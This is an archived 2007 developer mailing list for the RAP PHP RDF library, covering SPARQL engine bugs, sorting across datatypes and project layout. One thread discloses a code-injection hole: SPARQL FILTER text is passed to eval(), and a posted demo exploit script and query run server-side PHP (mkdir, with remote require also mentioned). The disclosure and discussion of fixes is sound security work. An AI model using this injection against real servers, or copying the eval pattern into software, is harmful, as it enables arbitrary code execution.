rdfapi-php-interest — general forum for RAP feature requests, bug reports, patches, and use cases

Re: [Rdfapi-php-interest] api / subdirectories

[Christian W. <cw...@cw...>]

Richard,

> I don't know, but why not place it at /api/sparql-db?
DbModel and MemModel are both models and are located in model/, so I
thought that a second sparql engine should also live below sparql/.

--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

Re: [Rdfapi-php-interest] api / subdirectories

[Richard C. <ri...@cy...>]

On 1 Feb 2007, at 10:03, Christian Weiske wrote:
> Currently the api directory has only one level of subdirectories.
> Would it be legal to add another one, e.g. below sparql/? Then I could
> put all the SparqlEngineDb classes below api/sparql/SparqlEngineDb/.

I don't know, but why not place it at /api/sparql-db?

Richard




>
> -- =20
> Regards/Mit freundlichen Gr=FC=DFen
> Christian Weiske
>
> ----------------------------------------------------------------------=20=

> ---
> Using Tomcat but need to do more? Need to support web services, =20
> security?
> Get stuff done quickly with pre-integrated technology to make your =20
> job easier.
> Download IBM WebSphere Application Server v.1.0.1 based on Apache =20
> Geronimo
> http://sel.as-us.falkag.net/sel?=20
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______=20
> _________________
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> Rdf...@li...
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[Rdfapi-php-interest] api / subdirectories

[Christian W. <cw...@cw...>]

Hello,


Currently the api directory has only one level of subdirectories.
Would it be legal to add another one, e.g. below sparql/? Then I could
put all the SparqlEngineDb classes below api/sparql/SparqlEngineDb/.

--=20
Regards/Mit freundlichen Gr=C3=BC=C3=9Fen
Christian Weiske

Re: [Rdfapi-php-interest] Outputting Literals - Solved

[Shu C. <sc...@ma...>]

Ack.  I found the getLabel method in the PHPDocumentor documentation.

Shu Chow wrote:
> Hi, I just started using RAP, and had a question.  Right now, to output 
> literals, the documentation examples say to use toString.  This method, 
> however, adds a datatype prefix to the output.
> 
> Since I know the value coming back is a literal, I've just been 
> accessing the literal value from the result set as 
> $result[][varName]->label.  Is it ok to directly access the label 
> property on that object, or is there some getter or other method I 
> should use?
> 
> TIA,
> 
> 
> 
> -------------------------------------------------------------------------
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[Rdfapi-php-interest] Outputting Literals

[Shu C. <sc...@ma...>]

Hi, I just started using RAP, and had a question.  Right now, to output 
literals, the documentation examples say to use toString.  This method, 
however, adds a datatype prefix to the output.

Since I know the value coming back is a literal, I've just been 
accessing the literal value from the result set as 
$result[][varName]->label.  Is it ok to directly access the label 
property on that object, or is there some getter or other method I 
should use?

TIA,

Re: [Rdfapi-php-interest] RAP and n3 files

[Christian W. <cw...@cw...>]

Enrico,

> I have another problem. I want to parse n3 files. Is there any
> possibility to do this with RAP?
The sparql-unittests use it; "Model" has a method called
"load($filename)" which does that.

--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

[Rdfapi-php-interest] RAP and n3 files

[nic12 <ni...@gm...>]

Hello,

I have another problem. I want to parse n3 files. Is there any
possibility to do this with RAP?

Enrico

Re: [Rdfapi-php-interest] problem with results

[nic12 <ni...@gm...>]

Christian Weiske wrote:

>Enrico,
>
>
>  
>
>>but the result is not the one I expect.
>>I got under 50 solutions (so i thought there are not more than 50
>>solutions) but if use an OFFSET of 50 or so, i got more results.
>>    
>>
>
>Is this when iterating from 0 to 50 over the array? The result keys are
>not in a row, they may have "holes" in them:
>array(0 => (), 1 => (), 5 => (), 6 => (), 7 =>())
>
>Or is the count($array) wrong?
>
>  
>
The count($array) is wrong and the first index of $array should go 0 up
to 50. If  the index is greater than 50 the process is stopped. The
problem is that the sparql-query specification say's:
"If |DISTINCT| and |LIMIT| or |OFFSET| are specified, then duplicates
are eliminated before the limit or offset is applied."
but the RAP do not so. I think the RAP works so. The Limit and OFFSET
restrict the Statements and now  DISTINCT operates on these "subgraph".

Enrico

Re: [Rdfapi-php-interest] problem with results

[Christian W. <cw...@cw...>]

Enrico,


> but the result is not the one I expect.
> I got under 50 solutions (so i thought there are not more than 50
> solutions) but if use an OFFSET of 50 or so, i got more results.

Is this when iterating from 0 to 50 over the array? The result keys are
not in a row, they may have "holes" in them:
array(0 =3D> (), 1 =3D> (), 5 =3D> (), 6 =3D> (), 7 =3D>())

Or is the count($array) wrong?

--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

[Rdfapi-php-interest] problem with results

[nic12 <ni...@gm...>]

Hi there,

I have a problem with the SPARQL interpreter of RAP.
I want to query a model with this SPARQL query:

SELECT DISTINCT ?class
WHERE { ?x rdf:type ?class}
ORDER BY ?class
LIMIT 50
OFFSET 0

but the result is not the one I expect.

I got under 50 solutions (so i thought there are not more than 50
solutions) but if use an OFFSET of 50 or so, i got more results.

I think, the DISTINCT search is the problem.
Am I wrong or it is a bug?

E.Popp

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[Christian W. <cw...@cw...>]

> Point is, there is no way to secure eval(), that's why everyone warns
> you from using it. It isn't even (except under very certain conditions)=

> allowed in PEAR. And, eval is very similar to evil - now you know why :=
)

I think a security advisory should be posted on the homepage with the
"solution" to not allow arbitrary code or to disable sparql at all.

--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[Christian W. <cw...@cw...>]

S=F6ren,

> Why not extracting all function-calls from the string and comparing wit=
h
> an array of allowed functions, e.g.:
>=20
> preg_match_all('/\s([A-Z0-9_]+)\(/i',$evalstr,$matches);
>=20
> if(array_diff($matches[1],$allowedFuncs))
>     // denied function call
>=20
> I admit a bit quick and dirty (maybe "" enclosed strings should also be=

> extracted from $evalstr first), but it should work, as I understand the=

> problem...

Beside the q&d touch it also doesn't protect you from using language
constructs instead of function. E.g. require_once is a language
construct and can be called without braces:
> FILTER require "http://some.where/over/the/rainbow.php"
which, together with allow_url_fopen, just cannot be stopped.

Now we might remove another set of hard-coded keywords like require and
include from the string without context, but they also might be valid
strings in a search -> FILTER ?code =3D "require_once".

Point is, there is no way to secure eval(), that's why everyone warns
you from using it. It isn't even (except under very certain conditions)
allowed in PEAR. And, eval is very similar to evil - now you know why :)

--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[<au...@in...>]

Christian Weiske wrote:
> The current implementation makes it IMO not possible to close the hole
> fully.

Why not extracting all function-calls from the string and comparing with 
an array of allowed functions, e.g.:

preg_match_all('/\s([A-Z0-9_]+)\(/i',$evalstr,$matches);

if(array_diff($matches[1],$allowedFuncs))
	// denied function call

I admit a bit quick and dirty (maybe "" enclosed strings should also be 
extracted from $evalstr first), but it should work, as I understand the 
problem...

Sören

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[Christian W. <cw...@cw...>]

S=F6ren,


> Good job in detecting the security hole! But I guess it would be more
> constructive to post a patch to close the hole instead of an exploit ;-=
)
The current implementation makes it IMO not possible to close the hole
fully.

It works the following way:
sparql filter string -> some preg replaces -> eval
Since there is no state machine/parser in the background which only
accepts valid code and drops invalid - all code is used, just some cases
like str() or dateTime() are re-formatted - it is not possible to fix
it. A total new approach and code would be needed.

--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[<au...@in...>]

Christian Weiske wrote:
> Working demo exploit:

Good job in detecting the security hole! But I guess it would be more 
constructive to post a patch to close the hole instead of an exploit ;-)

Sören

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[Christian W. <cw...@cw...>]

Tobias,


> The regex function is evaluated in
> rdfapi-php\api\sparql\FilterFunctions.php. It works fine for me. Did yo=
u
> change something with the import mechanism so that this file is not
> imported with the sparql package?
Yes, I did change my imports a bit.


Now that I understand how you did this, I discovered that your eval'ing
code lets someone fully exploit a server that lets you input own sparql
queries:
--------------
SELECT ?a WHERE {
?a ?b ?c .
FILTER mkdir('/home/cweiske/exploit')
}
--------------

You can put anything instead of mkdir, inkl. unlink, sql database access
and everything.

Working demo exploit:
exploit.php:
---------------------
<?php
require_once(dirname(__FILE__) . '/../config.php');
require_once RDFAPI_INCLUDE_DIR . 'RdfAPI.php';
require_once RDFAPI_INCLUDE_DIR . 'sparql/SparqlParser.php';
require_once RDFAPI_INCLUDE_DIR . 'sparql/SparqlEngine.php';

$parser =3D new SparqlParser();
$graphset =3D ModelFactory::getDatasetMem('Dataset1');
$def    =3D $graphset->getDefaultGraph();
$def    ->load(dirname(__FILE__) . '/exploit.n3');
$qs     =3D "
SELECT ?a WHERE {
?a ?b ?c .
FILTER mkdir('/home/cweiske/exploit')
}
";
$q      =3D $parser->parse($qs);
$engine =3D SparqlEngine::factory();
$t      =3D $engine->queryModel($graphset, $q, false);
?>
---------------------


exploit.n3:
---------------------
@prefix foaf:       <http://xmlns.com/foaf/0.1/> .
@prefix rdf:        <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
_:alice rdf:type        foaf:Person ;  .
---------------------




--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[<tob...@we...>]

Hi Christian.
The regex function is evaluated in 
rdfapi-php\api\sparql\FilterFunctions.php. It works fine for me. Did you 
change something with the import mechanism so that this file is not 
imported with the sparql package?

Regards
Tobias
>> This one is very natural since (IMO) there is no regex handling code in
>> the engine. How does it come that the testcase overview page states that
>> it passes all those tests?
>>     
>
> Maybe Tobias wanted a better mark for this master thesis ;-)
>
> Chris
>
>
> ----- Original Message ----- 
> From: "Christian Weiske" <cw...@cw...>
> To: <rdf...@li...>
> Sent: Thursday, January 25, 2007 5:32 PM
> Subject: [Rdfapi-php-interest] SparqlEngine / regex passes?
>
>
>   
>> -------------------------------------------------------------------------
>> Take Surveys. Earn Cash. Influence the Future of IT
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>> your
>> opinions on IT & business topics through brief surveys - and earn cash
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>>     
>
>
> --------------------------------------------------------------------------------
>
>
>   
>> _______________________________________________
>> Rdfapi-php-interest mailing list
>> Rdf...@li...
>> https://lists.sourceforge.net/lists/listinfo/rdfapi-php-interest
>>
>>     
>
>
> -------------------------------------------------------------------------
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> opinions on IT & business topics through brief surveys - and earn cash
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>   

Re: [Rdfapi-php-interest] SparqlEngine / regex passes?

[Chris B. <ch...@bi...>]

> This one is very natural since (IMO) there is no regex handling code in
> the engine. How does it come that the testcase overview page states that
> it passes all those tests?

Maybe Tobias wanted a better mark for this master thesis ;-)

Chris


----- Original Message ----- 
From: "Christian Weiske" <cw...@cw...>
To: <rdf...@li...>
Sent: Thursday, January 25, 2007 5:32 PM
Subject: [Rdfapi-php-interest] SparqlEngine / regex passes?


> -------------------------------------------------------------------------
> Take Surveys. Earn Cash. Influence the Future of IT
> Join SourceForge.net's Techsay panel and you'll get the chance to share 
> your
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--------------------------------------------------------------------------------


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> 

[Rdfapi-php-interest] SparqlEngine / regex passes?

[Christian W. <cw...@cw...>]

Hello,


http://sites.wiwiss.fu-berlin.de/suhl/bizer/rdfapi/tutorial/sparqlTestcas=
es.htm
states that the normale SparqlEngine passes nearly all testcases, regex
ones included.
When running the unit tests, the test script stops at "regex-query-001"
and does nothing further. This is because SparqlEngine supresses errors
in eval() on line 706 by prefixing it with "@". When removing it, I get
the following error:
---------------
Fatal error: Call to undefined function regex() in
/data/Studium/Diplomarbeit/rdfapi-php/api/sparql/SparqlEngine.php(706) :
eval()'d code on line 1
---------------
This one is very natural since (IMO) there is no regex handling code in
the engine. How does it come that the testcase overview page states that
it passes all those tests?


--=20
Regards/Mit freundlichen Gr=C3=BC=C3=9Fen
Christian Weiske

[Rdfapi-php-interest] Challenge: Scripting for the Semantic Web, at SFSW2007 (co-located with ESWC2007, Innsbruck, Austria)

[Tom H. <tom...@gm...>]

[apologies if you receive this more than once]

Challenge: Scripting for the Semantic Web, at 3rd Workshop on
Scripting for the Semantic Web, ESWC2007
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D

http://www.semanticscripting.org/SFSW2007/challenge

The 3rd Workshop on Scripting for the Semantic Web, at ESWC2007,
includes a Scripting Challenge which will award a prize (an Apple iPod
Video or alternatively =80200 cash) to the most innovative *small*
scripting application or mashup.

The application must be implemented using a scripting language and
Semantic Web technologies. It should access, visualize or combine
information from more than one source in novel or unforeseen ways. For
the purpose of the Challenge we define a "small" application as being
less than 1000 lines of code (excluding external libraries), and
focusing on one specific problem or application.

The challenge is open to anyone interested in developing applications,
services, or infrastructure for the Semantic Web, using scripting
languages. This might include students, developers, researchers, and
people from industry. Individual or group submissions are both
acceptable.

Criteria
=3D=3D=3D=3D=3D=3D=3D=3D
Entries will be assessed according to the extent to which they:

- Demonstrate innovation through the use of Scripting Languages
- Highlight the technical capabilities of a Semantic Web
- Bring benefits to potential users

All three criteria will be given equal importance in selecting the
winning entry. In the event of a tie, the entry deemed to bring
greatest benefits to potential users will be awarded the prize.

Reviews and Judging
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Submissions to the Scripting Challenge will be reviewed by members of
the Programme Committee of the 3rd Workshop on Scripting for the
Semantic Web, ESWC2007. A final decision will be made by the
Organising Committee of the workshop, based on the reviews by
Programme Committee members.

Submissions
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Submissions should consist of a 2 page description (in Springer LNCS
format) of the application, ideally accompanied by the source code and
a link to an online demo. Descriptions and accommpanying materials
should be submitted electronically via the workshop management system
(address to be announced) by March 30, 2007. Descriptions of the
submissions will be included in the workshop proceedings. Entries to
the Scripting Challenge may be presented at the workshop by their
authors, however authors of Scripting Challenge submissions are not
required to attend the workshop personally. Submissions to the
Scripting Challenge may include work that has previously been
published elsewhere. However in this case we would expect entries to
demonstrate novelty through new features, or deployments of the
application with new data sets.

Contact Details
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
In the event of any queries regarding the Scripting Challenge, please
contact Tom Heath <http://kmi.open.ac.uk/people/tom/>.

Re: [Rdfapi-php-interest] ORDER BY (different data types)

[Christian W. <cw...@cw...>]

Andy,


>> I doubt that I can change the schema since many other parts of rdfapi
>> use it.=20
> That makes it tricky - isn't there a singel abstraction layer that hand=
les all RDF->DB mapping?
There is a working one, but it is really slow when handling thousands or
millions of statements since all reasoning is done offline, i.e. on the
client side instead of the database.

My task is to create a Sparql-to-DB-Enginge that does as much as
possible directly on the database server. It seems that sorting is a
thing that can only be done on client side.


I also came up with another idea:
When having a ORDER BY statement, query the database first to get a
DISTINCT list of datatypes in the result set. If there is only one type
of data, use a ORDER BY CAST(..) in the main query. If there are
multiple datatypes, or no suitable cast type exists, sorting has to be
done on client side.
I don't know how fast it is to make two queries instead of one, but
should still be a lot faster when working on millions of rows than
sorting client side.


--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

Re: [Rdfapi-php-interest] ORDER BY (different data types)

[Seaborne, A. <and...@hp...>]

-------- Original Message --------
> From: Christian Weiske <mailto:cw...@cw...>
> Date: 23 January 2007 15:41
>=20
> Andy,
>=20
>=20
> > The ordering of unlike things is partially defined in SPARQL.  I'm =
not
> > sure what your DB schema is but if the type of the node (URI, bnode,
> > datatype of literal) is some carefully choosen integer then
> >=20
> > ORDER BY ?emp
> > is (nearly)
> > ORDER BY emp.type, emp.lexicialform.
>=20
> I doubt that I can change the schema since many other parts of rdfapi
> use it.=20

That makes it tricky - isn't there a singel abstraction layer that =
handles all RDF->DB mapping?

If so, maybe adding a field to help SPARQL is an option.

>=20
>=20
> DB schema:
>=20
> Field 	   Type
> -----------------------
> modelID    bigint
> subject    varchar(255)
> predicate  varchar(255)
> object     text
> l_language varchar(255)
> l_datatype varchar(255)
> subject_is varchar(1)
> object_is  varchar(1)
>=20
>=20
> subject, predicate and object values are stored in the corresponding
> fields. subject_is and object_is determine the overall type of the
> data: literal, resource, blank node.=20
> l_datatype is the real data type of the object, e.g.
> "http://www.w3.org/2001/XMLSchema#integer".
>=20
>=20
> By the way, how does jena do it (assuming you are coming from there)?

Only sort-of coming from there.  I was recalling what 3Store did as =
well.

The new Jena DB layer has a schema (actually, choice of schemas) =
specifically for SPARQL so we can store the sort type code.

ARQ currently does it all client-side because the objective is to be =
correct, corner cases of XSD datatypes and all.

	Andy

>=20
> --
> Regards/Mit freundlichen Gr=FC=DFen
> Christian Weiske

Re: [Rdfapi-php-interest] ORDER BY (different data types)

[Christian W. <cw...@cw...>]

Andy,


> The ordering of unlike things is partially defined in SPARQL.  I'm not
> sure what your DB schema is but if the type of the node (URI, bnode,
> datatype of literal) is some carefully choosen integer then=20
>=20
> ORDER BY ?emp=20
> is (nearly)=20
> ORDER BY emp.type, emp.lexicialform.

I doubt that I can change the schema since many other parts of rdfapi
use it.


DB schema:

Field 	   Type
-----------------------
modelID    bigint
subject    varchar(255)
predicate  varchar(255)
object     text
l_language varchar(255)
l_datatype varchar(255)
subject_is varchar(1)
object_is  varchar(1)


subject, predicate and object values are stored in the corresponding
fields. subject_is and object_is determine the overall type of the data:
literal, resource, blank node.
l_datatype is the real data type of the object, e.g.
"http://www.w3.org/2001/XMLSchema#integer".


By the way, how does jena do it (assuming you are coming from there)?

--=20
Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske

Re: [Rdfapi-php-interest] ORDER BY (different data types)

[Seaborne, A. <and...@hp...>]

-------- Original Message --------
> From: Christian Weiske <>
> Date: 22 January 2007 18:23
>=20
> Hello all,
>=20
>=20
> I face a very big problem regarding my SparqlEngineDb implementation:
> Sorting.
>=20
> One can sort by any variable of any type in Sparql. The data type of
the
> values is stored in statements/l_datatype column and can hardly be
> directly used in a SQL query.
>=20
> Imagine the following query:
> ----------------------
> SELECT ?name ?emp
> WHERE { ?x foaf:name ?name ;
>            ex:empId ?emp
>       }
> ORDER BY ASC(?emp)
> ----------------------
>=20
> Now ?emp is an object following an "ex:empId" predicate, making the
> datatype of ?emp xsd:integer. Making the SQL query in this case is
easy;
> just "ORDER BY CAST(emp as INTEGER) ASC" and it's done.
>=20
> Main problem is that I don't know in advance which data type the
column
> will have (as there could be statements like "?a ?b ?c .", ordering by
> ?c) and that, even more serious, there could be multiple data types in
> this data.
>=20
> I don't know what to do here. The only ideas I came up with are:
> 1) Use a stored procedure which does comparison. This will render the
> engine useless for older db systems such as mysql < 5. I also need to
> get into stored procedures, but I think it is possible to hook into
> sorting. 2) Sort on the client side. I would like to omit this since
it
> would=20
> decrease performance greatly. Further, I couldn't use server-side
> LIMITs, making performance even worse.
> 3) Provide data type hints in the query, which would make the sparql
> implementation understand proprietary queries and still wouldn't work
> with normal queries.
>=20
> Anybody an idea what I could do?

The ordering of unlike things is partially defined in SPARQL.  I'm not
sure what your DB schema is but if the type of the node (URI, bnode,
datatype of literal) is some carefully choosen integer then=20

ORDER BY ?emp=20

is (nearly)=20

ORDER BY emp.type, emp.lexicialform.

That is, the kind of type is more significant.

The numbers need to order the conditions:

[[
   1.  (Lowest) no value assigned to the variable or expression in this
solution.
   2. Blank nodes
   3. IRIs
   4. RDF literals
   5. A plain literal is lower than an RDF literal with type xsd:string
of the same lexical form.
]]

Sorting by lexical form is too weak for value sorting of numbers.  This
approach might be able to be extended to cover this,

And what is the SQL schema by the way?

>=20
>=20
> Btw, RDQL doesn't even provide ORDER support. I think I know why..

:-)

	Andy

Re: [Rdfapi-php-interest] ORDER BY (different data types)

[Christian W. <cw...@cw...>]

Richard,

> I think you can write something like this in SPARQL:
>=20
>    ORDER BY ASC(xsd:int(?emp))
This is true for the Sparql recommendation,
but our query parser does not support it :)


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Regards/Mit freundlichen Gr=FC=DFen
Christian Weiske